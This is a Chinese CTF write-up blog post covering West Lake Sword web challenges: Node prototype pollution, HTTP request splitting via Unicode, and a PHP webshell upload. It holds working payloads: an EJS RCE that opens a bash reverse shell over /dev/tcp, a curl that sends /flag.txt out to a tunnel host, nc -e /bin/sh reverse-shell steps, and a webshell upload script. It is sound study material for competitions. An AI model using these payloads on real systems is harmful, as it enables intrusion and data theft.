首页 > 其他分享 >西湖论剑

西湖论剑

时间:2023-02-09 23:46:16浏览次数:37  
标签:__ shell payload checkcode 西湖 论剑 HTTP whoami

西湖论剑

Node Magical Login

在flag1路径下伪造cookie可以拿到flag1

在checkcode = checkcode.toLowerCase()处通过数组使之报错进入catch拿到flag2

复现过程中的收获:

content-type 本来不是json,没有注意到所以刚开始没找到问题所在

checkcode = checkcode.toLowerCase() 在转换时利用数组使之报错

real_ez_node

merge操作可能存在原型链污染

json情况下 __proto__会被认为是一个真正的“键名”

所有变量的最顶层都是object,当前环境没有变量a,它会直接去寻找Object对象的属性当中是否有a这个键值对是否存在

Function()函数存在危险 可以RCE

var ip = req.connection.remoteAddress;

说明ip是不能通过请求头来伪造的

禁掉了__proto__,可以使用constructor.prototype绕过,因为constructor.prototype也可以操作原型链

expand函数存在的原型链污染漏洞

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

会话固定漏洞

用户未登录时的会话ID和登录后的会话ID保持一致

Unicode 字符损坏造成的 HTTP 拆分攻击

node.js的http库阻止了CRLF(遇到换行回车空格会url编码)

Node.js v8 或更低版本存在漏洞(在高版本中的node.js遇到非Ascii会报错)

这个环境是利用高位数unicode码来实现CRLF,因为ejs模板引擎采用的是latin1编码,这会将高位数的unicode码拆分为\r\n

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/IP/端口 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
curl 5b617r7077.zicp.fun:15497/`cat /flag.txt`  在目标机器执行的命令不用拿shell回传信息,但是遇到控制符就不行了

无公网ip反弹shell流程:

在kali中 nc -lvvnp 54321 开启监听端口

然后花生壳映射到kali的ip

然后在目标机器上执行 nc 花生壳的IP 花生壳分配的端口 -e /bin/sh

成功后就可以ls了

但是在环境中不知道问题出在哪了

扭转乾坤

java的文件上传

RFC标准的实现差异在Content-Type里边有漏洞

unusual php

RC4加密

https://cc.forensix.cn/#recipe=RC4(%7B'option':'UTF8','string':''%7D,'Latin1','Latin1')

python脚本实现文件上传

import base64
import requests

url = 'http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload'

shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.php", base64.b64decode(shell))}

response = requests.post(url, files=files)
print(response.text)

标签:__,shell,payload,checkcode,西湖,论剑,HTTP,whoami
From: https://www.cnblogs.com/yhchen-blogs/p/17107503.html

相关文章

  • 西湖论剑web部分题目复现
    扭转乾坤随便上传一个文件可以看到返回提示apache拒绝了Content-Type:为multipart/form-data;这里可以利用RFC标准的差异进行绕过waf可以使用大写字母任意字母进行wa......
  • 2023西湖论剑
    2023西湖论剑NodeMagicalLoginflag分为两部分flag1可以通过Flag1Controller函数获得functionFlag1Controller(req,res){try{if(req.cookies.user==......
  • 2022西湖论剑pwn
    pwnmessageboard程序保护首先查程序保护、沙箱,只能读取flag。另外题目给了libc库的附件,需要我们对程序先进行patch再调试。可以利用patchelf进行patch,因为与解题并......
  • [西湖论剑 2023 初赛] Reverse赛题复现
    BabyRE有人昨天以为rc4用的就是空秘钥,那么他是谁呢通过在字符串里找到DASCTF的关键字,一直交叉引用可以找到主要逻辑这里注册的三个函数就是整个题的流程了第一个函数......
  • 西湖论剑2023学习笔记
    太菜了打不了比赛,跟着师傅们的wp学习一下NodeMagicalLoginflag1functionFlag1Controller(req,res){try{if(req.cookies.user===SECRET_COOKIE)......
  • 西湖论剑2023-mp3[wp]
    一题目描述  二解题步骤1.分析文件(1)放入Audacity中查看频谱信息无果(2)010editor中查看文件结构   文件尾部存在PNG文件尾,搜索png文件头将该png文件复制......
  • 西湖论剑 2023
    西湖论剑2023搞了一天出了俩逆向,还有一个没交上…1.Dualpersonality类似天堂之门,将cs段寄存器设为0x33,切换到64位模式;设为0x23,切换回32位模式。32位、64位模式切......
  • Junk_Instruction(2019_西湖论剑_预选赛)
    同步:https://x.zhufn.fun/junkinstruction2019西湖论剑预选赛题目:xctfMFC程序,使用xspy查看窗口信息。check按钮的id为03e9,同时窗口存在OnCommand:notifycode=0000id=0......
  • vue 高德地图 西湖区 点标记 001
    效果:index.html中 引入amap<linkrel="stylesheet"href="https://a.amap.com/jsapi_demos/static/demo-center/css/demo-center.css"/><scripttype="text/javascript"s......
  • 【图床】2022.10.08——雨夜西湖
    水汽浩荡,自屋后腾起。做个梦吧……时间:2021.12.09地点:湖滨同行:Hql设备:a7r3a+G24105F4调整后效果最为惊艳的一张图,r3的锐度和宽容度得以让我大幅度的调整光线、依......